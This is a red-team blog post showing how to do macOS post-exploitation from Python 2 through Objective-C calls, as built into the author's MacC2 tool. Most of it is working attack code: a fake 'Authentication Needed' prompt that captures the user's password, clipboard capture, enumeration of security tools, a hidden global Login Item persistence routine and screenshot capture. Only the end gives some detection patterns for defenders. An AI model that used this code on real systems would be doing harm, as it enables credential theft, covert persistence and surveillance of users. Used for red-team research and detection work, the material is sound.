Making Objective C Calls From Python Standard Libraries (Red Team Edition)
I recently started a side project looking at what python-based post exploitation making Objective C calls looks like on modern macOS systems (Catalina and Big Sur). Christopher Ross spearheaded python based post exploitation on macOS years ago with his EmPyre project. However a lot has changed on macOS since then so this became a fun side project for me. Apple has stated plans to remove scripting runtimes from base OS installs, however python 2 in particular still continues to hang around. In fact, the initial release of Big Sur includes python 2 in its base OS installs (yes you read that right: python 2!!). Big Sur also includes python 3, but requires that you install developer tools in order to use it. Therefore, as an offensive security engineer python use for red team exercises continues to remain relevant, along with looking at how to build detections for python-based post exploitation on macOS. Even though I have prepared for scripting runtimes to be removed from macOS at some point by migrating my tooling over to Swift, the fact that python still remains present allows me to continue exploring techniques and challenging detections around python post exploitation.
So this side project resulted in me building a tool with these Objective C calls built in. The tool is named “MacC2” and is a post exploitation tool for macOS:
I used python2 as the client since even though Big Sur includes python3 the user would have to manually install developer tools in order to run it (this is not the case with python 2 on Big Sur, which is present and fully set up for use). Therefore, this blog post will walk through a few examples of what Objective C calls look like directly from python 2.
A Look at Objective C Calls
Being able to make Objective C API calls directly from python allows your program to not rely on command line binary executions, which can help challenge macOS detections that rely on command line utilities. This section will look at making Objective C calls from python 2 (note: this will look differently in python 3, as all standard libraries from python 2 are not available in python 3 and other package dependencies may be needed).
Before invoking the calls below, you will need to import the following python 2 standard libraries:
from Cocoa import *
For the persistence section below:
from objc import *
from LaunchServices import kLSSharedFileListGlobalLoginItems
For the screenshot section below:
import Quartzimport Quartz.CoreGraphics as CG
Getting Basic System Information
Making NSAppleScript calls from python:
s = NSAppleScript.alloc().initWithSource_("get system info") p = s.executeAndReturnError_(None)
In the snippet above, the system info results are returned and stored in the variable p, which is a tuple of the results. This methodology of course is not restricted to returning system info, but can also be used for other similar AppleScript commands. Another example for capturing clipboard content via NSAppleScript is below:
x = NSAppleScript.alloc().initWithSource_("return (the clipboard)") y = x.executeAndReturnError_(None)
As above, this will return clipboard contents as a tuple type in the variable y.
Getting Local IP Addresses
Making NSHost calls from python:
z = NSHost.currentHost().addresses
The results are returned and stored in z as “objc.native_selector” type.
This info is useful with helping find subnet ranges for networks that the host is connected to.
Fake Authentication Prompts
There are a few ways to do this. You can also make NSAppleScript class calls to generate fake prompts:
init = NSAlert.alloc().init()
s = NSAppleScript.alloc().initWithSource_("set popup to display dialog \"Application Updates Needed\" & return & return & \"Local macOS applications need permission to update\" & return default answer \"\" with title \"Authentication Needed\" with hidden answer")
NSApp.setActivationPolicy_(1)
NSApp.activateIgnoringOtherApps_(True)
p = s.executeAndReturnError_(None)
q = str(p)
c = q.replace("(<NSAppleEventDescriptor: { ‘bhit’:’utxt’","Button Clicked:").replace("’ttxt’:’utxt’","Text Entered:").replace(" }>, None)","")
Note: the NSApp.setActivationPolicy_(1) allows the prompt to display without hiding behind a python dock icon (i.e., without this the user would have to click the python dock icon to view the prompt). The NSApp.activateIgnoringOtherApps_(True) allows the prompt to activate and display regardless of other apps. Both of these I found were important to have from a post exploitation perspective.
The code above stores the results of any text entered by the user in the string variable c. In the example above I did not include any icons on my prompt:
I have found that depending on the system and how you get access (sandboxed or non sandboxed), calling an icon (depending on the icon as well) could cause an error and kill the prompt action altogether. If you want to use an icon you can add an icon reference such as below:
s = NSAppleScript.alloc().initWithSource_("set popup to display dialog \"Application Updates Needed\" & return & return & \"Local macOS applications need permission to update\" & return default answer \"\" with icon file \"System:Library:CoreServices:Software Update.app:Contents:Resources:SoftwareUpdate.icns\" with title \"Authentication Needed\" with hidden answer")
You can also build a fake auth prompt by calling the NSAlert class and building out the pop up contents that way. I tried this and I was unable to find out how to have the alert dismiss after capturing the creds (the alert would only disappear when the program itself finished), so I did not go with this method. Nonetheless, below is sample code for that if you opt to try this method:
alert = NSAlert.alloc().init()
passField = NSSecureTextField.alloc().initWithFrame_(((0, 0), (300, 24))) passField.setPlaceholderString_(u"Local User Password") alert.setMessageText_(u"Local macOS applications need permission to update") alert.setAccessoryView_(passField) alert.setIcon_(NSImage.alloc().initWithContentsOfFile_(u"/System/Library/CoreServices/SoftwareUpdate.app/Contents/Resources/SoftwareUpdate.icns")) NSApp.activateIgnoringOtherApps_(True)
alert.runModal()
Here’s the fake auth prompt the sample code above produces:
Checking For Security Tools
I have not yet found a way on macOS for the programmatic equivalent of running ps commands to enumerate running processes. However, you can enumerate running apps, which may still be useful for getting a feel for what is running, such as antivirus, endpoint detection and response clients, or other security products. You can make a call to the NSworkspace class to help with this:
x = NSWorkspace.sharedWorkspace().runningApplications()
The code above will store running app info into x with a type of “objective-c class __NSArrayI”. You can convert the results to other types and filter through for app names, paths, launch date info, etc. This can be done from the MS Office sandbox as well.
You can check for certain files on disk in case something is not running but is installed. This method however cannot be done from the MS Office sandbox. You can look at MacC2’s “checksecurity” function for an example of security tool checks.
Login Item Persistence
For Login Item persistence, I used Cody Thomas’ apfell mythic agent as an example (https://github.com/its-a-feature/Mythic/blob/master/Payload_Types/apfell/agent_code/persist_loginitem_allusers.js). His implementation is in JXA so trying to find out how to do this using python was quite the challenge. After a bunch of reading others’ code samples along with trial and error, below is what I came up with in MacC2:
SFL_bundle = NSBundle.bundleWithIdentifier_('com.apple.coreservices.SharedFileList') functions = [('LSSharedFileListCreate', '^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'), ('LSSharedFileListCopySnapshot', '^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'), ('LSSharedFileListItemCopyDisplayName', '^{__CFString=}^{OpaqueLSSharedFileListItemRef=}'), ('LSSharedFileListItemResolve', 'i^{OpaqueLSSharedFileListItemRef=}Io^^{__CFURL=}o^{FSRef=[80C]}'), ('LSSharedFileListItemMove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListItemRef=}'), ('LSSharedFileListItemRemove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}'), ('LSSharedFileListInsertItemURL', '^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}'), ('kLSSharedFileListItemBeforeFirst', '^{OpaqueLSSharedFileListItemRef=}'), ('kLSSharedFileListItemLast', '^{OpaqueLSSharedFileListItemRef=}'), ('LSSharedFileListSetAuthorization', 'i^{OpaqueLSSharedFileListRef=}^{AuthorizationOpaqueRef=}'), ('AuthorizationCreate', 'i^{_AuthorizationRights=I^{_AuthorizationItem=^cQ^vI}}^{_AuthorizationEnvironment=I^{_AuthorizationItem=^cQ^vI}}I^^{AuthorizationOpaqueRef=}'),] objc.loadBundleFunctions(SFL_bundle, globals(), functions) auth = SFAuthorization.authorization().authorizationRef() ref = SCPreferencesCreateWithAuthorization(None, "/Users/Shared/~$IT-Provision.command", "/Users/Shared/~$IT-Provision.command", auth) temp = CoreFoundation.CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault,'/Users/Shared/~$IT-Provision.command',39,False) items = LSSharedFileListCreate(kCFAllocatorDefault, kLSSharedFileListGlobalLoginItems, None) myauth = LSSharedFileListSetAuthorization(items,auth) name = CFStringCreateWithCString(None,'/Users/Shared/~$IT-Provision.command',kCFStringEncodingASCII) itemRef = LSSharedFileListInsertItemURL(items,kLSSharedFileListItemLast,name,None,temp,None,None)
In a nutshell, I had to create opaque pointers for some ObjC API calls that were not available via standard library imports. Then I was able to load the needed functions, create the authorization needed for the Global Login Item, create the Login Item, and insert it. You can see the full code in the MacC2 git repo. What’s cool is due to the authorization this code works even from the MSOffice sandbox. The main downside is when this is executed from the MS Office sandbox, the persistence files are dropped and the login item is inserted, however the files dropped have the quarantine attribute and therefore do not start on reboot.
Screenshots
Below is the code for screenshots using CoreGraphics calls that I leveraged from Christopher Ross’s Empyre project that still works on current versions of macOS:
region = CG.CGRectInfinite path = '/Users/Shared/out.png' image = CG.CGWindowListCreateImage(region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault) imagepath = NSURL.fileURLWithPath_(path) dest = Quartz.CGImageDestinationCreateWithURL(imagepath, LaunchServices.kUTTypePNG, 1, None) properties = {Quartz.kCGImagePropertyDPIWidth: 1024, Quartz.kCGImagePropertyDPIHeight: 720,} Quartz.CGImageDestinationAddImage(dest, image, properties) x = Quartz.CGImageDestinationFinalize(dest)
In modern versions of macOS (Catalina and Big Sur), this code will cause a prompt to the user asking to give the running program access to record the screen. So this method is not OPSEC safe in current versions, but still interesting to note that the code itself does work.
Conclusion
In summary, since Apple has yet to deliver on removing scripting runtimes from base OS installs (up through the initial release of Big Sur at the time of this post), python-based post exploitation is still an option for red teams. Gatekeeper still does not check python scripts and this provides one less hurdle for attackers. While lots of offensive security engineers (myself included) have built other means of red team tooling for macOS (ex: I have built Swift tooling that does not leverage python at all), the fact that python 2 is still present makes it another vector that can be leveraged until it is removed.
Detection is much harder for python tooling that makes API calls to pull data. Defenders can still leverage parent child relationships to flag any suspicious launches of python. Examples:
- Office Product (ex: Microsoft Word.app) → /bin/sh
- Office Product (ex: Microsoft Word.app) → /bin/bash
- Office Product (ex: Microsoft Word.app) → /usr/bin/curl
- .pkg → /bin/sh → python
Also visibility into python processes connecting out from macOS hosts would be interesting. An example would be seeing python making periodic outbound web connections over a period of time.